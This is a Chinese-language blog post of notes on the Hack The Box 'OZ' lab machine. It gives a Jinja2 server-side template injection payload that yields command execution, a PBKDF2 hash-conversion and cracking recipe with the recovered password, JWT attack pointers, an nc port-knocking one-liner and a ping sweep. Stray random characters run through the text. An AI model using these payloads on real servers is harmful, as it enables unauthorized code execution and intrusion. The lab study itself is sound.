Hack The Box OZ 要點(diǎn)記錄

OZ的詳細(xì)攻略網(wǎng)上已經(jīng)放出了:https://0xdf.gitlab.io/2019/01/12/htb-oz.htm
這里只對(duì)踩過(guò)的坑進(jìn)行記錄塑顺。

1.目錄爆破wfuzz看起來(lái)是最好的工具松逊,但你必須熟練掌握過(guò)濾器的用法稿饰。

2.注入成功后的密碼格式轉(zhuǎn)換
hash

一頓google后你會(huì)發(fā)現(xiàn)這種格式和Django所使用的密碼格式非常相似,都是 "密碼算法+加密輪數(shù)+鹽+哈希" 的格式牵囤,但是你把hash仍給hashcat破譯會(huì)發(fā)現(xiàn)格式無(wú)法識(shí)別反砌,Django使用的密碼搁凸,鹽和哈希都是經(jīng)過(guò)base64編碼的,而這個(gè)串base64并不能解碼睦焕,還需要進(jìn)一步轉(zhuǎn)換藐握。正確的解碼姿勢(shì)如下

from passlib.utils import ab64_decode
import binascii
base64.b64encode( ab64_decode('qUh6jZRy02ZrHTz5J6O3sy38Sa1ORoZnVjLz5juo.2E') )

這是一種特殊的ab64的base64編碼方案,它比普通的base64編碼更短一些垃喊。同時(shí)還需要對(duì)這個(gè)密碼格式進(jìn)行一些轉(zhuǎn)換

echo '$pbkdf2-sha256$5000$d47xHsP4P6eUUgoh5BzjfA$jWgyYmxDK.slJYUTsv9V9xZ3WWwcl9EBOsz.bARwGBQ' | gawk '{sub(/^.*-/,"")}$1=$1' FS=\$ OFS=:

輸出格式為:sha256:5000:BCDkXKuVMgaAEMJ4z5mzdg==:GNn4Ti/hUyMgoyI7GKGJWeqlZg28RIqSqspvKQq6LWY=這個(gè)格式的hash可以被hashcat識(shí)別format=10900猾普,明文wizardofoz22

3.利用密碼可以登錄8080端口的應(yīng)用,這里有個(gè)新的知識(shí)叫SSTI攻擊本谜,也就是服務(wù)端模板注入初家,參考資料可以參見(jiàn):https://www.cnblogs.com/tyomcat/p/5440488.html,同時(shí)網(wǎng)上發(fā)布了自動(dòng)化攻擊工具類(lèi)似sqlmap乌助,叫做Tplmap溜在,項(xiàng)目地址:https://github.com/epinna/tplmap,手動(dòng)攻擊的步驟如下:

{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/owned.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}
{{ config.from_pyfile('/tmp/owned.cfg') }}
{{ config['RUNCMD']('/usr/bin/id',shell=True) }}

4.在進(jìn)行SSTI之前眷茁,還進(jìn)行了JWT攻擊嘗試炕泳,可惜這是個(gè)陷阱,并沒(méi)有脆弱性可以利用上祈,但學(xué)到了不少JWT的攻擊方法培遵。首先是JWT的格式,這是一套cookie設(shè)置方案登刺,返回的串共有三段由點(diǎn)號(hào)分隔籽腕,并經(jīng)過(guò)base64編碼,前一段寫(xiě)明了加密方式纸俭,中間是用戶(hù)名等一些輔助信息皇耗,最后一段是數(shù)字簽名,示例數(shù)據(jù)格式如下:

JWT
在加密方式部分揍很,通常使用HS256(對(duì)稱(chēng)密鑰)和RS256(非對(duì)稱(chēng)密鑰)郎楼,在對(duì)稱(chēng)密鑰中,有時(shí)使用RSA公鑰加密窒悔,有時(shí)使用隨機(jī)串呜袁,RS256則使用RSA公私鑰對(duì)。本題由于前幾步中泄露了公鑰简珠,且采用HS256所以想到JWT攻擊阶界,但并不奏效。備注一個(gè)非常有用的項(xiàng)目https://github.com/swisskyrepo/PayloadsAllTheThings,你可以找個(gè)任何需要的載荷膘融。JWT需要暴力破解的話(huà)可以參考這個(gè)項(xiàng)目:https://github.com/brendan-rius/c-jwt-cracker
SSTI源于繼承樹(shù)爬行

5.端口敲門(mén)芙粱,這是一個(gè)老問(wèn)題了,發(fā)現(xiàn)一個(gè)腳本好用記錄一下氧映。

ports="40809 50212 46969"; for port in $ports; do echo "a" | nc -u -w 1 10.10.10.96 ${port}; sleep 0.5; done; echo "knock done"; nc -w 1 -nvv 10.10.10.96 22

6.簡(jiǎn)單的ping掃描春畔,以后不用到處去找了。

$ for i in $(seq 1 254); do ping -c 1 10.100.10.${i} | grep "bytes from"; done;

最后需要惡補(bǔ)的就是docker知識(shí)屯耸。

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末拐迁,一起剝皮案震驚了整個(gè)濱河市,隨后出現(xiàn)的幾起案子疗绣,更是在濱河造成了極大的恐慌线召,老刑警劉巖,帶你破解...
    沈念sama閱讀 210,978評(píng)論 6 490
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件多矮,死亡現(xiàn)場(chǎng)離奇詭異缓淹,居然都是意外死亡,警方通過(guò)查閱死者的電腦和手機(jī)塔逃,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 89,954評(píng)論 2 384
  • 文/潘曉璐 我一進(jìn)店門(mén)讯壶,熙熙樓的掌柜王于貴愁眉苦臉地迎上來(lái),“玉大人湾盗,你說(shuō)我怎么就攤上這事伏蚊。” “怎么了格粪?”我有些...
    開(kāi)封第一講書(shū)人閱讀 156,623評(píng)論 0 345
  • 文/不壞的土叔 我叫張陵躏吊,是天一觀(guān)的道長(zhǎng)。 經(jīng)常有香客問(wèn)我帐萎,道長(zhǎng)比伏,這世上最難降的妖魔是什么? 我笑而不...
    開(kāi)封第一講書(shū)人閱讀 56,324評(píng)論 1 282
  • 正文 為了忘掉前任疆导,我火速辦了婚禮赁项,結(jié)果婚禮上,老公的妹妹穿的比我還像新娘澈段。我一直安慰自己悠菜,他們只是感情好,可當(dāng)我...
    茶點(diǎn)故事閱讀 65,390評(píng)論 5 384
  • 文/花漫 我一把揭開(kāi)白布败富。 她就那樣靜靜地躺著悔醋,像睡著了一般。 火紅的嫁衣襯著肌膚如雪囤耳。 梳的紋絲不亂的頭發(fā)上,一...
    開(kāi)封第一講書(shū)人閱讀 49,741評(píng)論 1 289
  • 那天,我揣著相機(jī)與錄音充择,去河邊找鬼德玫。 笑死,一個(gè)胖子當(dāng)著我的面吹牛椎麦,可吹牛的內(nèi)容都是我干的宰僧。 我是一名探鬼主播,決...
    沈念sama閱讀 38,892評(píng)論 3 405
  • 文/蒼蘭香墨 我猛地睜開(kāi)眼观挎,長(zhǎng)吁一口氣:“原來(lái)是場(chǎng)噩夢(mèng)啊……” “哼琴儿!你這毒婦竟也來(lái)了?” 一聲冷哼從身側(cè)響起嘁捷,我...
    開(kāi)封第一講書(shū)人閱讀 37,655評(píng)論 0 266
  • 序言:老撾萬(wàn)榮一對(duì)情侶失蹤造成,失蹤者是張志新(化名)和其女友劉穎,沒(méi)想到半個(gè)月后雄嚣,有當(dāng)?shù)厝嗽跇?shù)林里發(fā)現(xiàn)了一具尸體晒屎,經(jīng)...
    沈念sama閱讀 44,104評(píng)論 1 303
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 36,451評(píng)論 2 325
  • 正文 我和宋清朗相戀三年缓升,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了鼓鲁。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點(diǎn)故事閱讀 38,569評(píng)論 1 340
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡港谊,死狀恐怖骇吭,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情歧寺,我是刑警寧澤燥狰,帶...
    沈念sama閱讀 34,254評(píng)論 4 328
  • 正文 年R本政府宣布,位于F島的核電站成福,受9級(jí)特大地震影響碾局,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜奴艾,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 39,834評(píng)論 3 312
  • 文/蒙蒙 一净当、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧蕴潦,春花似錦像啼、人聲如沸。這莊子的主人今日做“春日...
    開(kāi)封第一講書(shū)人閱讀 30,725評(píng)論 0 21
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽(yáng)。三九已至此疹,卻和暖如春僧诚,著一層夾襖步出監(jiān)牢的瞬間遮婶,已是汗流浹背。 一陣腳步聲響...
    開(kāi)封第一講書(shū)人閱讀 31,950評(píng)論 1 264
  • 我被黑心中介騙來(lái)泰國(guó)打工湖笨, 沒(méi)想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留旗扑,地道東北人。 一個(gè)月前我還...
    沈念sama閱讀 46,260評(píng)論 2 360
  • 正文 我出身青樓慈省,卻偏偏與公主長(zhǎng)得像臀防,于是被迫代替她去往敵國(guó)和親。 傳聞我的和親對(duì)象是個(gè)殘疾皇子边败,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 43,446評(píng)論 2 348